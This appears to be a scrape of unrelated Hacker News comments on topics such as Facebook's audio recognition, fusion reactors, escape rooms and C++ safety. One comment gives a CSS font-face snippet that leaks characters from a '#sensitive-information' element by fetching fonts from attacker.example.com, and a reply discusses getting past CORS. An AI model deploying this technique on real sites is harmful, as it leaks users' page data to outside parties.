skysight-inc/HackerNews huggingface dataset:
Let's step back even further... While it may be luck that life as we know it has ended where it has (so far), you could look at it like life will always find a way, we have no idea what the endgame is, but life marches forward by hook or by crook. However it does that is immaterial, it mutates in order to keep moving forward. So is it really luck? Or is it like water flowing to the sea, inevitable?
> we just identify the things you're listening to, of course

...by recording the conversation so it can be uploaded to the server that does the recognition, because nobody is doing this kind of processing client-side.

Just like the idea that "streaming" is somehow different than "downloading", the commonly-repeated claims that this kind of technology is only "processing" without mentioning where the data is processed is a carefully constructed lie designed to frame the discussion.

The use of propaganda to confuse how their product works suggests that Facebook (et al) knows there would be resistance if they offered the same features plainly. In my opinion this should count as mens rea.
Nice, and by using 'font-variant-ligatures: common-ligatures;' you can actually try to harvest character combinations as well. For example:

@font-face {
font-family: poc;
src: url(http://attacker.example.com/?ff); /* ff */
unicode-range: U+FB00;
}

#sensitive-information {
font-family: poc;
font-variant-ligatures: common-ligatures;
}

(edit: improved formatting/explanation)
Every week I learn something new to admire about Germany.

Or at least its responsible investment behavior by its government.

USA would not build such a thing in today's political climate of nonsense unless it had weapons research possibilities.
> And radiation is bad when you want to do research on the reactor.

As in, you want to partially disassemble and tweak the reactor regularly. Neutron activated metals will be radioactive enough after a while, no need to make things worse by adding tritium to the mix.
August 2015: List of BBC web pages which have been removed from Google search
Feel sorry for Jamie. See also the latest twitter comment here https://news.ycombinator.com/item?id=10488919
Flaws in ATMs of a German Bank open the doors to cyber attacks
yes, I'm sure. "you post a negative review of us, we'll say XYZ about you" XYZ being completely not true, but unprovable. We had vids/pics and contradictory email messages, which should be proof enough of fraud, but what they threatened to write was pretty bad. One neg review against them - with multiple dozens - could be ignored as "meh" whereas one against my wife would have been 1 out of 2 (actually, not sure she had a first one from the year before) and would probably have hurt her chances of people renting to her in the future.

So... - hey, airbnb, great job. You've made it much easier to just not use you at all. Yes, we're a small one-off exception. Fine. I bet there's a whole lot more of these exceptions that are unknowable because there's little recourse to escalate your case. We possibly could have taken this up to the credit card company, but IIRC there were some mediation clauses in our terms of service which I thought at the time meant we couldn't.

The 'resounding no' justification was "well, you decided to stay there the whole time, it couldn't have been that bad".

Hrmm... we paid up front, and told us to try to work things out - even after sending in pictures/videos of non-working stuff. How do you walk away from having splashed out $2k already, then try to find another place in the middle of a trip, with no guarantee you'll see a dime of this back? $100 reduction, while symbolic only, would still have been symbolic enough for me to not have such a bitter/negative experience that I'm talking about years later.
Apples in a Spacecraft
Privacy concerns aside, I'd be very interested on how they're doing this on a technical level. Does anyone know if they've published a post on how this is done yet? Or have any ideas on how they think it's being done?
> what is the name of this dark pattern

"Hobson's Choice"

https://en.wikipedia.org/wiki/Hobson%27s_choice
Daydreaming about cash helps you forget your coworkers hate you
Appreciate the detailed response.
Ha, yeah I was expecting an in-depth read on gcc's devirtualization feature.
Definitely, considering there are still 2.x devices out there. I have Android 4 on Samsung and on Motorolla, both of them really not that old (released on 07/2013 and 05/2014 respectively). And no sign of an update...

However, I was forced to update my Nexus 7 to 5.x, and the device became absolutely unusable. So I wonder whether I want the upgrades if even Google can't handle them properly.
The language used in the introduction alone was enough to make me check the date of publication... Those IETF jokers!
http://tmbw.net/wiki/Cut_The_Strings
Good to hear. Too bad one usually has to buy a new device to get an update.
My impression, sample size one, is that it may under estimate when it relies on public records because children ate less likely to be counted in some jurisdictions.
hi, just wow, if i ever thought that livecodingtv could screw up this situation any more, you found a way.
Was software engineering really the first one as a viable career choice or was it just the first one you could easily see how to monetize it?

As a software engineer growing up in England, you make bugger all. The software market is incredibly um... well, let's just say the pay for a software engineer in the UK sucks... but I enjoy software engineering, so I did a whole bunch of research to figure out where it was most lucrative, did some shit jobs to save up for a plane ticket and get my visa and flew to where software engineers had a higher quality of life. I could've stuck it out in the UK and limited my horizons but honestly, that's just not who I am.

If my passion had been something else, I would've figured out where/how to make a market viable enough to make it lucrative and I'd have gone there and done that.

I was raised to believe that if you have a passion for something, the only thing standing in your way is you. You were gifted with a brain, a brain to figure shit out. If you don't understand how to leverage that, then I posit that you didn't pay enough attention to those teaching you along the way, showing you how to use your brain to hop from one stepping stone to the next to make your passions lucrative.

Admittedly sometimes you have to think outside the box and sometimes it takes a few tries of looking at things from different perspectives before you can put together a viable solution, but you have a passion for a reason - it's just up to you to monetize it.
4 Ways Big Data Can Help Get the Most from Customer Surveys
Well, as the owner of 2 Burmese cats and the parent of a gallivanting teenage son I know which one causes the more serious night time headaches.
The twitter account needs to STOP POSTING.

https://twitter.com/livecodingtv

It's honestly baffling how they think that keeping on posting is in anyway a good idea, especially when they say things like "most people are banned users or competitors" - demonstrably untrue - most people are not users of livestreaming, and are not competitors, and a couple of people they've "identified" (doxxed, really) have been incorrectly identified.
Okay, you won the internet for today!
56153 is the largest number factored on a quantum device (2014)
Is called "leucocytes", we program it with vaccines since many years ago, and they work fine in most of the cases.
Cyanogenmod had this for a long time now.
I guess we can still say it will be the most important energy source over the next millennium...
I'll second that... pointless complexity in your life is an unnecessary drain on your energy. It just adds to your burnout.
So Facebook recorded your ambient audio, uploaded it to their servers, processed that recording to discover what you were watching, all so they could prompt you with a football icon and an opinion poll?

Did they get your explicit permission before turning on that microphone and uploading what it recorded? Or did they hide it behind a button? Did they explain in a way most people would understand about what they were doing with the microphone and where the feature was actually implemented?
In Arbitration, a ‘Privatization of the Justice System’
It's an improvement for sure, but cheeaun.github.io/hackerweb is way better.
Indoor Survey App by Apple
i had a friend invite me along to enjoy one of these rooms in nyc

the puzzle layout was such that there were some 30-40 individual steps that needed to be taken that would culminate in a four digit combination

you then use the four digit combination on a lock securing the lid of a box that contained a button that opened the exit

the lock was a wheel lock where each wheel had 7 faces, 0 to 6

about halfway through the game the group had found the first 2 values of the combination

i explained to my friend that math could get us out

at 7 faces and four wheels your looking at:

#!/usr/bin/env python3
import itertools
len(list(itertools.product("0123456",repeat=4))) #2401

but we were down to only two wheels left

len(list(itertools.product("0123456",repeat=2))) #49

all we had to do was try the 49 different possibilities for the lock, essentially brute forcing

my friend was ecstatic and encouraged me to do it, but when i went over to the lock and started trying the different combinations a staffer came up to us and stopped us asking:

'do you really want to win that way?'

my friend and i laughed at the indirect math shaming and returned to the group looking for clues

eventually the timer ran out before the group could solve all of the riddles to find the last two digits of the combination

edit: copypasta err
The Life of an Entrepreneur in 90 Seconds
> Okay, I think you're conflating service with rolling updates.

Or maybe you are? ;-)

> My point is that if you ask someone using Win7 or Win8 today what the advantages of that OS is over, say, Vista or XP, they probably can't provide any. Or, from a different angle, if they can think of anything that they can do on their current platforms that they couldn't do on the previous one.

I don't really see the point of your point. You might as well say that if you only need to drive half a mile to the shops, then a Model T Ford would do the job. True, but not every Windows user is stuck in the past.

Later versions of Windows handle memory and resources better, so they are smoother in operation, don't need frequent reboots etc, and they're also more secure. The time savings alone are more than enough to cover the cost of upgrading.

UEFI machines also boot and resume much quicker, which most people would notice.

There's a whole class of new lightweight sandboxed apps. There's a whole new Windows Store. There's better voice and handwriting recognition. There's massively better stylus support, which is being exploited in things like the Surface Pro.

> Plus pretty much every ATM on the planet, IIRC.

But not the desktop version....

> My desktop, as you observe, is not a mobile operating system.

Sure, but desktops are not exactly at the cutting edge in a world that is going mobile.

The point of Windows 10 is that it's a converged operating system that runs on mobile phones, tablets, and games consoles, with "universal apps" that are adaptable to all three platforms. Windows 10 will also run on everything from USB sticks to high-end workstations.

> And I have been particularly happy with my OS not knowing where I live for a long time

Exactly how does Windows 10 know where you live more than XP knew where you lived?

> the new version has superior capabilities for tracking you isn't compelling (for most people, once you explain it to them).

The tracking isn't any different from what was already in Windows 8/8.1 except for Cortana, which can be turned off. (And is turned off by default.)

It's not something a sensible person would worry about unless they've stopped using a smartphone and already take extensive anti-tracking measures while on the web. Microsoft is only doing a small fraction of the tracking that's done by Google and Google Android.

Oh, you should also stop using bank cards, and loyalty cards, and avoid shops because they have CCTV cameras. And you can't own or drive a car because of numberplate recognition. This is the serious stuff. Even then, you'll probably be tracked by the US government, regardless of whether or not you live in the USA....
Fixing File Access Vulnerabilities in Ruby/Rails
Great concept. Really.
An Open Letter to JESA [pdf]
Awesome, I would love to see an helloworld application hosted in github
I seriously don't get the humor in this.
> I never claimed any other single point of failure [in user-space] than the service manager.

If all of one's system and service management relies upon a system-wide software "bus", then another similar problem is what to do when one has restarted the "bus" broker service and it has lost track of all active clients and servers.

* https://bugs.freedesktop.org/show_bug.cgi?id=89847

* https://github.com/NixOS/nixpkgs/issues/7633

Related problems are what to do when one cannot shut down one's log daemon because the only way to reach its control interface is via a "bus" broker service, and the broker in turn relies upon logging being available until it is shut down. Again, this is an example of engineering tradeoffs. Choose one big centralized logger daemon for logging everything, and this complexity and interdependence is a consequence. A different design is to have multiple log daemons, independent of one another. With the cyclog@dbus service logging to /var/log and that log daemon's own and the service manager's log output being logged by a different daemon to /run/system-manager/log/, one can shut down the separate logging services at separate points in the shutdown procedure.

* https://github.com/systemd/systemd/issues/867

* https://bugzilla.redhat.com/show_bug.cgi?id=1214466
I can't make this work on my side, both Chromium and Firefox block the requests for the font resources from l0.cm (because CORS policy):

Font from origin 'http://l0.cm' has been blocked from loading by Cross-Origin Resource Sharing policy:
No 'Access-Control-Allow-Origin' header is present on the requested resource.
Origin 'http://lepunk.co.uk' is therefore not allowed access.
Ask HN: Who started a company in the industry they initially knew nothing about?
How long did it take you to break into the industry? What are some tips that you can share?
Watching their exchanges - they (Michael, clearly) are acutely insane.

I feel for the guy, as his world-view is so incredibly warped he seems to be unable to even conceive of the fact that he might be mishandling this grievously.

If I were him, I'd step away from the keyboard, and hire a PR firm NOW to try to sort out this mess.

If I were PG, I'd be kicking his ass from here 'til next Tuesday for being mindblowingly irresponsible with both the investment given and his employees' livelihoods, and I'd be pushing for a strong customer-facing hire.
Cool/clever escape room company in Denver...
https://www.puzzah.com/

One of the founders, Derek, is an interesting guy and built an impressive tech stack that drives the rooms with a very high degree of automation. I think most HN'ers would enjoy speaking with him about it.
It's called "audio fingerprinting" and it basically converts a snippet of audio from your phone is something similar to a hash of that audio. Then, using some clever algorithms, it can be quickly matched against a database of existing hashes. Because of the way the algorithm works the match doesn't have to be either 0% or 100%, because realistically whatever is recorded on your phone will never exactly match the original.

Disclaimer: I used to work at a company that built this type of technology.
Looks more like modern art to me.
I was actually thinking class type families ala BETA. Basically, a class can be a member of another class and overridden when the containing class is extended.
To deal with the cats want food before we awake we bought an automatic feeder: http://www.amazon.com/gp/aw/d/B0002YHUPC/ref=mp_s_a_1_3?qid=... - it seems to work most mornings, but we do think one of our cats may take the food from both so we give them the second part of their breakfast when we wake up. Today they wanted 2nd part of breakfast earlier, they didn't know about the time change ;)
Hoteliqo Survey
We're building a platform that helps hostel and B&B owners to better manage their properties and get more value out of their businesses. In order to do that, we'd appreciate if you'd answer a couple of our questions. Take survey: http://hoteliqo.com/customersurvey
I once did an internship at the MPI in Garching and had the opportunity to visit the Stellarator. Although it looks much less spectacular with all the coils hidden in their housing it is still an incredibly impressive machine with an audacious design.

Today the numerical effort required for realizing it might seem not very impressive given the technological capabilities that we have, but you have to take into account that the first version (Wendelstein 7-AS) was built in the 1980s already.

That said I really hope that the experiment confirms the viability of this design and its (potential) superiority compared to the classical Tokamak fusion chamber.
What would the ultimate hotel booking system look like to you?
Let us know by taking this short survey on: http://hoteliqo.com/customersurvey
My wife and I also have the same problem. I recommend you to use automatic feeders if your cats are healthy enough to eat dry food. It's much better now after using them, the problem hasn't gone completely though.
Is that also true of anybody who is in the same room as those with facebook accounts?
Somewhat related: The physics of mosh pits [1]

[1] http://kottke.org/14/11/the-physics-of-mosh-pits
The fuss is about the data sent to Facebook's servers for "identification". You can make the decision to post it or not, but Facebook knows it in either case.
No, he most probably has liked his team on Facebook and FB is smart enough to know a game is on (or his friends have posted similar statuses).
Wrong. I WOULD NOT advocate the use of templates just because I use C++. But I WOULD advocate using safe language features and compile-time type checking. Throwing pointers around is bad practice, hence C++'s encouragement to use references, move semantics and emphasis on use of containers, clear tidy-up practices, obvious demarkation of what owns an object, RAII etc. This moves the burden onto the compiler, not the developer or team of developers to understand where data is owned, when it will be cleaned up etc. etc.

Further, templates do not make C++ slow; it is simply compile-time polymorphism.

Does runtime polymorphism make software slow? Does casting to or from a void* in C suddenly make it slow? The entire emphasis in C++ for templates is that you pass the error checking to the compiler, not at runtime to guess that this incoming void* is the type that you want. reinterpret_cast is only used where absolutely necessary!! It is far safer to NOT cast. Avoid casting. Templates (and the STL) help out in this regard.

I would use the STL for projects, and encourage every else in C++ land to do the same. Containers make sense, as do the algorithms associated with them (and they save you reinventing the wheel).

But I would NOT advocate use of Boost just because it is popular or written in C++. That would be a stupid reason to encourage its use; I personally do not use Boost. Boost != STL. You appear to be confusing Boost with the STL ??

No doubt your unbridled hatred of C++ and libraries written in C++ (eg. Boost) has stopped you reading reference works on the STL. You can find a comprehensive reference here: http://en.cppreference.com/w/

There's no Boost on there, btw. That's at boost.org.

Personally, I was only making the comment regarding a reminder of my own coding style in light of the problems they found in their C codebase. I do not write C, but I can see that the pitfalls they fell into could easily be carried out by me in C++ if I stuck to unsafe coding styles.

Furthermore, many of their problems could be solved in C++ land very easily: NULL pointer dereferences (don't use pointers, use references - it'll never be NULL), Invalid pointer arithmetic leading to SIGSEGV due to unmapped memory access (use STL containers), Out-of-bounds reads and writes to stack, heap and static-based arrays (use STL containers, you may still get out-of-bounds problems but at least an exception is thrown), Invalid free() calls, Double free() calls over the same pointer (use move semantics, never see a new or delete ever again), Division errors (use a static_assert to check that a value is in range, if possible. Or use an assert in a defensive coding style), Assertion failures (use static_assert to catch at compile time if possible), Use of uninitialized memory (RAII - initialise before use).

Your (or anyone's) invalid use of C++ does not make the language invalid, in the same way that stabbing someone with a knife does not suddenly mean all knives must be banned.
That machine looks absolutely beautiful to me, I love the design. It would also be perfect for in movies and computer games :)
Ringbuffers (or any queue, actually) don't solve the problems associated with locks. Often when people talk about locks when discussing concurrent algorithms, they don't necessarily mean the particular construct called a lock but any synchronization mechanism that might end up suspending some computation when waiting for another to happen, so a queue may well be a lock in this kind of discussion.

To see the duality between locks and queues note that any queue can be implemented with any list/array and a lock, and a lock itself is nothing more than some atomic operation, plus a queue plus a mechanism to suspend computation. Whether that suspension involves an actual parking of the kernel thread or spinning, is an implementation detail from the perspective of the algorithm.

You can use queues without deadlocks, but then you won't have the same advantages locks can give you (transactions), or you can have the same advantages, but then get the same problems.
Even worse:

http://i.imgur.com/qsRdwaU.png

Google...
If anyone finds such a study, then for the record, here are my expectations:

- Politicians lie much more than an average person.

- Sales and marketing people lie more than politicians.
Yup, 'one of the teams I like' meant 'I like their page on facebook'.
i think thats just a matter of adding this header on the server side
Access-Control-Allow-Origin:
When exactly is it turned on?
And this might actually be insanely illegal in areas where recording conversations requires consent of both involved parties.
Take a step back and look at this for a second... Edison stuck at it long enough that he said "I didn't fail, I found 999 ways not to make a light bulb before I found 1 that worked"... that is very telling about the man's character. Those who use the "he had luck on his side" argument undervalue not only his ingenuity, but his dedication to achieving his objective. Perhaps he wasn't born with a passion for inventing - perhaps he was just born with a passion for doing stuff until the goal is reached. Either way, luck had nothing to do with it. His perseverance and passion for finishing the job got him to his goal.

What was luck was for the rest of us - we got a light bulb out of the deal. Imagine if he'd had a passion for pottery. We'd have the most amazing dishes right now, but we'd only be able to see them by candlelight...
One does? Hasn't been an issue yet on my almost 2 years old (so, 2 major-revision updates) nexus 5 yet.
So, without opt-in, they record, upload, and match the content of my conversations, without previously getting consent from all parties that might have been involved?
If required , this tool http://jsonformatter.org jsonformatter and support url too.
Xamarian closes source for RoboVM
I can't wait for the time when it isn't considered ok to use languages that are so error-prone. I wouldn't write anything in C.